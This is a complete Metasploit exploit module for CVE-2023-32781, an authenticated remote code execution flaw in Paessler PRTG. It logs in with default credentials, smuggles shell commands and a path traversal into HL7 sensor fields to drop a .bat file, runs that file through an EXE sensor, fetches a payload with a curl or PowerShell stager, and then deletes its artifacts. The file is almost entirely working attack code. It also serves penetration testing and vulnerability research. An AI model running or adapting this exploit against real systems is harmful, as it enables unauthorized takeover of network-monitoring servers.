class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Retry def initialize(info = {})
super(
update_info(
info,
'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',
'Description' => %q{
Authenticated RCE in Paessler PRTG
},
'License' => MSF_LICENSE,
'Author' => ['Kevin Joensen <kevin[at]baldur.dk>'],
'References' => [
[ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],
[ 'CVE', '2023-32781']
],
'DisclosureDate' => '2023-08-09',
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Windows_Fetch',
{
'Arch' => [ ARCH_CMD ],
'Platform' => 'win',
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
'Type' => :win_fetch
}
],
[
'Windows_CMDStager',
{
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'Type' => :win_cmdstager,
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new(
'USERNAME',
[ true, 'The username to authenticate with', 'prtgadmin' ]
),
OptString.new(
'PASSWORD',
[ true, 'The password to authenticate with', 'prtgadmin' ]
),
OptString.new(
'TARGETURI',
[ true, 'The URI for the PRTG web interface', '/' ]
)
]
)
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], '/index.htm')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
ensure
disconnect
end
if res && res.code == 200
prtg_server_header = res.headers['Server']
if (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')
return CheckCode::Detected
end
end
return CheckCode::Unknown
end
def exploit
@sensors_to_delete = []
connect
case target['Type']
when :win_cmdstager
execute_cmdstager
when :win_fetch
execute_command(payload.encoded)
end
end
def on_new_session(client)
super
@sensors_to_delete.each do |sensor_id|
delete_sensor_by_id(sensor_id)
end
print_good('Session created')
end
def execute_command(cmd, _opts = {})
print_status('Running PRTG RCE exploit')
authenticate_prtg
bat_file_name = write_bat_file_to_disk(cmd)
run_bat_file_from_disk(bat_file_name)
print_status('Exploit done')
handler
end
def authenticate_prtg
print_status('Authenticating against PRTG')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'public', 'checklogin.htm'),
'keep_cookies' => true,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302 && res.get_cookies
print_good('Successfully authenticated against PRTG')
else
fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')
end
end
def get_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'welcome.htm'),
'keep_cookies' => true
})
if res.nil? || res.body.nil?
fail_with(Failure::NoAccess, 'Page with CSRF token not available')
end
regex = /csrf-token" content="([^"]+)"/
token = res.body[regex, 1]
print_status("Extracted csrf token: #{token}")
token
end
def delete_sensor_by_id(sensor_id)
print_status("Deleting sensor #{sensor_id}")
csrf_token = get_csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'deleteobject.htm'),
'keep_cookies' => true,
'headers' => {
'anti-csrf-token' => csrf_token,
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
id: sensor_id,
approve: 1
}
})
if res.nil? || res.body.nil?
fail_with(Failure::NoAccess, 'Sensor deletion failed')
end
end
def get_created_sensor_id(sensor_name)
print_status('Fetching created sensor id')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'controls', 'deviceoverview.htm'),
'keep_cookies' => true,
'vars_get' => {
'id' => 40
}
})
if res.nil? || res.body.nil?
fail_with(Failure::NoAccess, 'Page with sensorid not available')
end
regex = /id=([0-9]+)">#{sensor_name}/
sensor_id = res.body[regex, 1]
print_status("Extracted sensor_id: #{sensor_id}")
sensor_id
end
def run_sensor_with_id(sensor_id)
csrf_token = get_csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'),
'keep_cookies' => true,
'headers' => {
'anti-csrf-token' => csrf_token,
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
id: sensor_id
}
})
if res && res.code == 200
print_good('Sensor started running')
else
fail_with(Failure::NoAccess, 'Failure to run sensor')
end
end
def write_bat_file_to_disk(cmd)
# Uses the HL7Sensor for writing a .bat file to the disk
cmd = cmd.gsub! '\\', '\\\\\\'
print_status('Writing .bat to disk')
csrf_token = get_csrf_token
# Generate a random sensor name
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"
# Clean up the .bat file
cmd = "#{cmd} & del %0"
print_status("Generated sensor_name #{sensor_name}")
print_status("Generated bat_file_name #{bat_file_name}")
params = {
'name_' => sensor_name,
'parenttags_' => '',
'tags_' => 'dicom hl7',
'priority_' => '3',
'port_' => '104',
'timeout_' => '60',
'override_' => '0',
'sendapp_' => Rex::Text.rand_text_alphanumeric(4..5),
'sendfac_' => Rex::Text.rand_text_alphanumeric(4..5),
'recvapp_' => Rex::Text.rand_text_alphanumeric(4..5),
'recvfac_' => "#{Rex::Text.rand_text_alphanumeric(4..5)}\" -debug=\"..\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"#{Rex::Text.rand_text_alphanumeric(4..5)}",
'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",
'hl7filename' => '',
'intervalgroup' => ['0', '1'],
'interval_' => '60|60 seconds',
'errorintervalsdown_' => '1',
'inherittriggers' => '1',
'id' => '40',
'sensortype' => 'hl7',
'tmpid' => '2',
'anti-csrf-token' => csrf_token
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),
'keep_cookies' => true,
'vars_post' => params
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302
print_good('HL7 Sensor succesfully created')
else
fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')
end
# Actually creating the sensor can take 1-2 seconds
print_status('Checking for sensor creation')
sensor_id = retry_until_truthy(timeout: 10) do
get_created_sensor_id(sensor_name)
end
print_status('Requesting HL7 Sensor to initiate scan')
run_sensor_with_id(sensor_id)
@sensors_to_delete.push(sensor_id)
print_good('.bat file written to disk')
bat_file_name
end
def run_bat_file_from_disk(bat_file_name)
print_status("Running the .bat file: #{bat_file_name}")
csrf_token = get_csrf_token
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
params = {
'name_' => sensor_name,
'parenttags_' => '',
'tags_' => 'exesensor',
'priority_' => '3',
'scriptplaceholdergroup' => '1',
'scriptplaceholder1description_' => '',
'scriptplaceholder1_' => '',
'scriptplaceholder2description_' => '',
'scriptplaceholder2_' => '',
'scriptplaceholder3description_' => '',
'scriptplaceholder3_' => '',
'scriptplaceholder4description_' => '',
'scriptplaceholder4_' => '',
'scriptplaceholder5description_' => '',
'scriptplaceholder5_' => '',
'exefile_' => "#{bat_file_name}|#{bat_file_name}||",
'exefilelabel' => '',
'exeparams_' => '',
'environment_' => '0',
'usewindowsauthentication_' => '0',
'mutexname_' => '',
'timeout_' => '60',
'valuetype_' => '0',
'channel_' => 'Value',
'unit_' => '#',
'monitorchange_' => '0',
'writeresult_' => '0',
'intervalgroup' => '0',
'interval_' => '43200|12 hours',
'errorintervalsdown_' => '1',
'inherittriggers' => '1',
'id' => '40',
'sensortype' => 'exe',
'tmpid' => '6',
'anti-csrf-token' => csrf_token
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),
'keep_cookies' => true,
'vars_post' => params
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302
print_status('EXE Script sensor created')
else
fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')
end
print_status('Checking for sensor creation')
sensor_id = retry_until_truthy(timeout: 10) do
get_created_sensor_id(sensor_name)
end
run_sensor_with_id(sensor_id)
@sensors_to_delete.push(sensor_id)
print_good('Exploit completed. Waiting for payload')
end
end